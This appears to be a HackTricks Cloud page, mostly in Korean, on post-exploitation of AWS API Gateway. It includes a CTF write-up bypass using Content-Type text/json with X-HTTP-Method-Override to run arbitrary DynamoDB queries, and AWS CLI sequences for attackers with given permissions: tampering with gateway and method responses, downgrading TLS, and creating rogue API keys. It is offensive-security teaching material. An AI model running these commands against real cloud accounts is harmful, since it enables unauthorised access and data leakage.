AWS - API Gateway Post Exploitation
Reading time: 6 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
API Gateway
자세한 정보는 다음을 확인하세요:
노출되지 않은 API 접근
https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint에서 서비스 com.amazonaws.us-east-1.execute-api
로 엔드포인트를 생성하고, 접근할 수 있는 네트워크(잠재적으로 EC2 머신을 통해)에서 엔드포인트를 노출시키고 모든 연결을 허용하는 보안 그룹을 할당합니다.
그런 다음, EC2 머신에서 엔드포인트에 접근할 수 있으며, 따라서 이전에 노출되지 않았던 게이트웨이 API를 호출할 수 있습니다.
요청 본문 패스스루 우회
이 기술은 이 CTF 작성글에서 발견되었습니다.
AWS 문서에서 PassthroughBehavior
섹션에 명시된 바와 같이, 기본적으로 값 **WHEN_NO_MATCH
**는 요청의 Content-Type 헤더를 확인할 때, 변환 없이 요청을 백엔드로 전달합니다.
따라서 CTF에서 API Gateway는 요청이 Content-Type: application/json
으로 전송될 때 플래그가 응답으로 유출되는 것을 방지하는 통합 템플릿을 가지고 있었습니다.
RequestTemplates:
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
그러나 **Content-type: text/json
**으로 요청을 보내면 해당 필터를 우회할 수 있습니다.
마지막으로, API Gateway가 Get
과 Options
만 허용하므로, 본문에 쿼리를 포함한 POST 요청을 보내고 헤더 X-HTTP-Method-Override: GET
을 사용하여 임의의 dynamoDB 쿼리를 제한 없이 보낼 수 있었습니다:
curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
Usage Plans DoS
In the Enumeration section you can see how to obtain the usage plan of the keys. If you have the key and it's limited to X usages per month, you could just use it and cause a DoS.
The API Key just need to be included inside a HTTP header called x-api-key
.
apigateway:UpdateGatewayResponse
, apigateway:CreateDeployment
An attacker with the permissions apigateway:UpdateGatewayResponse
and apigateway:CreateDeployment
can 기존 Gateway Response를 수정하여 민감한 정보를 유출하거나 악성 스크립트를 실행하는 사용자 정의 헤더 또는 응답 템플릿을 포함할 수 있습니다.
API_ID="your-api-id"
RESPONSE_TYPE="DEFAULT_4XX"
# Update the Gateway Response
aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
잠재적 영향: 민감한 정보 유출, 악성 스크립트 실행 또는 API 리소스에 대한 무단 접근.
note
테스트 필요
apigateway:UpdateStage
, apigateway:CreateDeployment
apigateway:UpdateStage
및 apigateway:CreateDeployment
권한을 가진 공격자는 기존 API Gateway 단계를 수정하여 트래픽을 다른 단계로 리디렉션하거나 캐싱 설정을 변경하여 캐시된 데이터에 무단으로 접근할 수 있습니다.
API_ID="your-api-id"
STAGE_NAME="Prod"
# Update the API Gateway stage
aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
잠재적 영향: 캐시된 데이터에 대한 무단 접근, API 트래픽의 중단 또는 가로채기.
note
테스트 필요
apigateway:PutMethodResponse
, apigateway:CreateDeployment
apigateway:PutMethodResponse
및 apigateway:CreateDeployment
권한을 가진 공격자는 기존 API Gateway REST API 메서드의 메서드 응답을 수정하여 민감한 정보를 유출하거나 악성 스크립트를 실행하는 사용자 정의 헤더 또는 응답 템플릿을 포함할 수 있습니다.
API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
STATUS_CODE="200"
# Update the method response
aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
잠재적 영향: 민감한 정보 유출, 악성 스크립트 실행 또는 API 리소스에 대한 무단 접근.
note
테스트 필요
apigateway:UpdateRestApi
, apigateway:CreateDeployment
apigateway:UpdateRestApi
및 apigateway:CreateDeployment
권한을 가진 공격자는 API Gateway REST API 설정을 수정하여 로깅을 비활성화하거나 최소 TLS 버전을 변경하여 API의 보안을 약화시킬 수 있습니다.
API_ID="your-api-id"
# Update the REST API settings
aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
잠재적 영향: API의 보안을 약화시켜, 무단 접근을 허용하거나 민감한 정보를 노출할 수 있습니다.
note
테스트 필요
apigateway:CreateApiKey
, apigateway:UpdateApiKey
, apigateway:CreateUsagePlan
, apigateway:CreateUsagePlanKey
apigateway:CreateApiKey
, apigateway:UpdateApiKey
, apigateway:CreateUsagePlan
, 및 apigateway:CreateUsagePlanKey
권한을 가진 공격자는 새 API 키를 생성하고, 이를 사용 계획에 연결한 다음, 이러한 키를 사용하여 API에 무단 접근할 수 있습니다.
# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')
# Create a new usage plan
USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')
# Associate the API key with the usage plan
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY
잠재적 영향: API 리소스에 대한 무단 접근, 보안 통제 우회.
note
테스트 필요
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.